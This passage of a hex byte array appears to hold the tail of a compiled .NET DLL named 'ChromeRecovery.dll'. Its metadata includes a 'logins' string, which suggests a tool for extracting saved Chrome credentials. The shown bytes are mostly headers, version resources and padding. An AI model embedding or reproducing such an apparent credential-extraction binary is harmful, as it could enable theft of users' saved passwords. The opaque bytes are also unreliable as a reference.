0x18, 0x1D, 0x05, 0x09, 0x04, 0x00, 0x01, 0x18, 0x08, 0x02, 0x1D, 0x05, 0x05, 0x00, 0x01, 0x1D, 0x05, 0x08, 0x06, 0x07, 0x03, 0x08, 0x09, 0x1D, 0x05, 0x0E, 0x07, 0x07, 0x08, 0x1D, 0x05, 0x08, 0x1D, 0x1D, 0x05, 0x08, 0x1D, 0x05, 0x1D, 0x05, 0x0C, 0x00, 0x05, 0x01, 0x12, 0x80, 0x99, 0x08, 0x12, 0x80, 0x99, 0x08, 0x08, 0x14, 0x07, 0x03, 0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x15, 0x11, 0x5D, 0x02, 0x0E, 0x0E, 0x15, 0x11, 0x61, 0x02, 0x0E, 0x0E, 0x06, 0x15, 0x12, 0x59, 0x02, 0x0E, 0x0E, 0x05, 0x00, 0x02, 0x0E, 0x0E, 0x0E, 0x07, 0x20, 0x02, 0x01, 0x13, 0x00, 0x13, 0x01, 0x0A, 0x20, 0x00, 0x15, 0x11, 0x5D, 0x02, 0x13, 0x00, 0x13, 0x01, 0x06, 0x15, 0x11, 0x5D, 0x02, 0x0E, 0x0E, 0x0A, 0x20, 0x00, 0x15, 0x11, 0x61, 0x02, 0x13, 0x00, 0x13, 0x01, 0x06, 0x15, 0x11, 0x61, 0x02, 0x0E, 0x0E, 0x04, 0x20, 0x00, 0x13, 0x01, 0x0A, 0x20, 0x01, 0x01, 0x15, 0x12, 0x80, 0xA1, 0x01, 0x13, 0x00, 0x14, 0x07, 0x0A, 0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x1D, 0x0E, 0x08, 0x0E, 0x12, 0x20, 0x08, 0x0E, 0x0E, 0x0E, 0x1D, 0x05, 0x05, 0x15, 0x12, 0x41, 0x01, 0x0E, 0x05, 0x20, 0x00, 0x1D, 0x13, 0x00, 0x04, 0x00, 0x01, 0x02, 0x0E, 0x03, 0x20, 0x00, 0x0E, 0x04, 0x00, 0x01, 0x01, 0x0E, 0x04, 0x20, 0x01, 0x02, 0x0E, 0x06, 0x00, 0x01, 0x12, 0x80, 0xB1, 0x0E, 0x05, 0x20, 0x00, 0x12, 0x80, 0xB1, 0x0B, 0x07, 0x04, 0x15, 0x12, 0x41, 0x01, 0x0E, 0x1D, 0x0E, 0x08, 0x0E, 0x05, 0x00, 0x01, 0x1D, 0x0E, 0x0E, 0x0D, 0x07, 0x06, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x12, 0x10, 0x0E, 0x0F, 0x07, 0x07, 0x0E, 0x1D, 0x05, 0x1D, 0x05, 0x12, 0x69, 0x12, 0x6D, 0x12, 0x55, 0x1D, 0x05, 0x07, 0x20, 0x02, 0x01, 0x0E, 0x11, 0x80, 0xBD, 0x04, 0x00, 0x01, 0x0E, 0x0E, 0x06, 0x20, 0x01, 0x12, 0x80, 0xC1, 0x0E, 0x04, 0x20, 0x00, 0x12, 0x69, 0x03, 0x20, 0x00, 0x1C, 0x05, 0x20, 0x00, 0x12, 0x80, 0xC9, 0x06, 0x20, 0x01, 0x12, 0x80, 0xC5, 0x08, 0x05, 0x00, 0x01, 0x1D, 0x05, 0x0E, 0x0B, 0x00, 0x03, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x11, 0x80, 0xD9, 0x03, 0x07, 0x01, 0x0E, 0x03, 0x20, 0x00, 0x08, 0x06, 0x00, 0x01, 0x0E, 0x11, 0x80, 0xE1, 0x0A, 0x07, 0x02, 0x15, 0x11, 0x45, 0x01, 0x12, 0x0C, 0x12, 0x0C, 0x05, 0x00, 0x00, 0x11, 0x80, 0xE5, 0x09, 0x00, 0x02, 0x01, 0x12, 0x80, 0x99, 0x11, 0x80, 0xED, 0x0F, 0x00, 0x06, 0x01, 0x08, 0x0E, 0x11, 0x80, 0xF5, 0x11, 0x80, 0xF9, 0x11, 0x80, 0xFD, 0x08, 0x04, 0x00, 0x01, 0x0A, 0x08, 0x04, 0x00, 0x01, 0x0E, 0x08, 0x08, 0x00, 0x04, 0x01, 0x08, 0x10, 0x0E, 0x0A, 0x02, 0x05, 0x00, 0x01, 0x01, 0x1D, 0x08, 0x07, 0x20, 0x03, 0x0E, 0x1D, 0x05, 0x08, 0x08, 0x04, 0x20, 0x01, 0x08, 0x0E, 0x04, 0x20, 0x01, 0x01, 0x0B, 0x04, 0x06, 0x11, 0x81, 0x09, 0x09, 0x00, 0x02, 0x08, 0x11, 0x81, 0x09, 0x11, 0x81, 0x09, 0x05, 0x07, 0x03, 0x0B, 0x08, 0x08, 0x0B, 0x07, 0x08, 0x1D, 0x05, 0x08, 0x02, 0x08, 0x08, 0x08, 0x08, 0x08, 0x06, 0x00, 0x02, 0x0A, 0x1D, 0x05, 0x08, 0x07, 0x07, 0x04, 0x1D, 0x0E, 0x08, 0x08, 0x08, 0x05, 0x00, 0x02, 0x02, 0x0E, 0x0E, 0x0B, 0x00, 0x02, 0x12, 0x80, 0x99, 0x12, 0x80, 0x99, 0x12, 0x80, 0x99, 0x02, 0x1D, 0x0E, 0x05, 0x07, 0x03, 0x08, 0x08, 0x08, 0x04, 0x07, 0x02, 0x08, 0x08, 0x10, 0x07, 0x0D, 0x07, 0x08, 0x08, 0x08, 0x0B, 0x08, 0x08, 0x0A, 0x1D, 0x0A, 0x08, 0x08, 0x08, 0x07, 0x0B, 0x00, 0x02, 0x11, 0x81, 0x09, 0x11, 0x81, 0x09, 0x11, 0x81, 0x09, 0x06, 0x00, 0x01, 0x08, 0x11, 0x81, 0x09, 0x06, 0x00, 0x01, 0x07, 0x11, 0x81, 0x09, 0x03, 0x1D, 0x11, 0x3C, 0x06, 0x00, 0x01, 0x0B, 0x11, 0x81, 0x09, 0x04, 0x00, 0x01, 0x0D, 0x0D, 0x04, 0x20, 0x01, 0x01, 0x0A, 0x0A, 0x07, 0x07, 0x08, 0x08, 0x1D, 0x0E, 0x08, 0x08, 0x08, 0x08, 0x04, 0x20, 0x01, 0x0E, 0x08, 0x06, 0x20, 0x01, 0x1D, 0x0E, 0x1D, 0x03, 0x05, 0x20, 0x01, 0x0E, 0x1D, 0x03, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x08, 0x15, 0x07, 0x11, 0x08, 0x08, 0x08, 0x08, 0x1D, 0x11, 0x38, 0x0B, 0x08, 0x08, 0x0A, 0x0A, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x07, 0x03, 0x1D, 0x11, 0x40, 0x06, 0x00, 0x01, 0x0A, 0x11, 0x81, 0x09, 0x03, 0x1D, 0x11, 0x38, 0x04, 0x00, 0x01, 0x0E, 0x0B, 0x08, 0x00, 0x01, 0x12, 0x81, 0x21, 0x11, 0x81, 0x25, 0x06, 0x00, 0x01, 0x08, 0x12, 0x81, 0x21, 0x08, 0x00, 0x04, 0x01, 0x1D, 0x05, 0x08, 0x18, 0x08, 0x05, 0x00, 0x02, 0x02, 0x18, 0x18, 0x08, 0xB7, 0x7A, 0x5C, 0x56, 0x19, 0x34, 0xE0, 0x89, 0x08, 0xB0, 0x3F, 0x5F, 0x7F, 0x11, 0xD5, 0x0A, 0x3A, 0x04, 0x00, 0x00, 0x00, 0x00, 0x04, 0x08, 0x00, 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x00, 0x0C, 0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x01, 0x15, 0x02, 0x06, 0x0E, 0x02, 0x06, 0x09, 0x03, 0x06, 0x1D, 0x05, 0x02, 0x06, 0x08, 0x02, 0x06, 0x0B, 0x03, 0x06, 0x1D, 0x0E, 0x04, 0x06, 0x1D, 0x11, 0x3C, 0x02, 0x06, 0x07, 0x04, 0x06, 0x1D, 0x11, 0x40, 0x03, 0x06, 0x11, 0x44, 0x02, 0x06, 0x0A, 0x08, 0x00, 0x00, 0x15, 0x12, 0x41, 0x01, 0x1D, 0x1C, 0x0E, 0x20, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x04, 0x20, 0x01, 0x08, 0x18, 0x06, 0x20, 0x03, 0x18, 0x0E, 0x0E, 0x0E, 0x08, 0x20, 0x03, 0x18, 0x18, 0x1D, 0x05, 0x10, 0x18, 0x06, 0x20, 0x02, 0x1D, 0x05, 0x18, 0x0E, 0x07, 0x20, 0x01, 0x1D, 0x05, 0x1D, 0x1D, 0x05, 0x08, 0x00, 0x04, 0x09, 0x10, 0x18, 0x0E, 0x0E, 0x09, 0x05, 0x00, 0x02, 0x09, 0x18, 0x09, 0x0B, 0x00, 0x06, 0x09, 0x18, 0x0E, 0x1D, 0x05, 0x08, 0x10, 0x08, 0x09, 0x09, 0x00, 0x05, 0x09, 0x18, 0x0E, 0x1D, 0x05, 0x08, 0x08, 0x0E, 0x00, 0x09, 0x09, 0x18, 0x18, 0x0E, 0x10, 0x18, 0x18, 0x08, 0x1D, 0x05, 0x08, 0x09, 0x04, 0x00, 0x01, 0x09, 0x18, 0x13, 0x00, 0x0A, 0x09, 0x18, 0x1D, 0x05, 0x08, 0x10, 0x11, 0x2C, 0x1D, 0x05, 0x08, 0x1D, 0x05, 0x08, 0x10, 0x08, 0x09, 0x13, 0x00, 0x0A, 0x09, 0x18, 0x1D, 0x05, 0x08, 0x10, 0x11, 0x2C, 0x1D, 0x05, 0x08, 0x1D, 0x05, 0x08, 0x10, 0x08, 0x08, 0x03, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x0B, 0x00, 0x03, 0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x0E, 0x0E, 0x0E, 0x08, 0x00, 0x01, 0x15, 0x12, 0x41, 0x01, 0x0E, 0x0E, 0x07, 0x00, 0x02, 0x0E, 0x1D, 0x05, 0x1D, 0x05, 0x05, 0x00, 0x01, 0x01, 0x1D, 0x0E, 0x05, 0x20, 0x02, 0x0B, 0x08, 0x08, 0x05, 0x20, 0x02, 0x0A, 0x08, 0x08, 0x04, 0x20, 0x00, 0x1D, 0x0E, 0x05, 0x20, 0x02, 0x0E, 0x08, 0x0E, 0x04, 0x20, 0x01, 0x08, 0x08, 0x04, 0x20, 0x01, 0x02, 0x0A, 0x04, 0x20, 0x01, 0x02, 0x0B, 0x05, 0x20, 0x02, 0x01, 0x0E, 0x08, 0x09, 0x20, 0x03, 0x01, 0x1D, 0x05, 0x1D, 0x05, 0x1D, 0x05, 0x03, 0x28, 0x00, 0x0E, 0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x01, 0x00, 0x01, 0x00, 0x54, 0x02, 0x16, 0x57, 0x72, 0x61, 0x70, 0x4E, 0x6F, 0x6E, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x68, 0x72, 0x6F, 0x77, 0x73, 0x01, 0x08, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x01, 0x00, 0x0E, 0x43, 0x68, 0x72, 0x6F, 0x6D, 0x65, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x00, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x17, 0x01, 0x00, 0x12, 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x20, 0xC2, 0xA9, 0x20, 0x20, 0x32, 0x30, 0x32, 0x30, 0x00, 0x00, 0x29, 0x01, 0x00, 0x24, 0x63, 0x33, 0x39, 0x63, 0x63, 0x62, 0x33, 0x36, 0x2D, 0x64, 0x61, 0x34, 0x39, 0x2D, 0x34, 0x36, 0x30, 0x65, 0x2D, 0x39, 0x38, 0x65, 0x63, 0x2D, 0x64, 0x66, 0x39, 0x65, 0x61, 0x33, 0x39, 0x34, 0x61, 0x64, 0x34, 0x35, 0x00, 0x00, 0x0C, 0x01, 0x00, 0x07, 0x31, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x30, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x7A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x43, 0x6F, 0x72, 0x44, 0x6C, 0x6C, 0x4D, 0x61, 0x69, 0x6E, 0x00, 0x6D, 0x73, 0x63, 0x6F, 0x72, 0x65, 0x65, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x25, 0x00, 0x20, 0x00, 0x10, 0x00, 0x01, 0x02, 0x03, 0x04, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x58, 0x80, 0x00, 0x00, 0x4C, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x04, 0xAC, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x88, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, 0x30, 0x00, 0x00, 0x00, 0x1A, 0x00, 0x01, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00, 0x01, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x52, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x46, 0x00, 0x13, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x52, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x79, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x12, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0xA9, 0x00, 0x20, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x32, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x01, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x52, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x79, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x52, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x08, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x38, 0x00, 0x08, 0x00, 0x01, 0x00, 0x41, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xD4, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 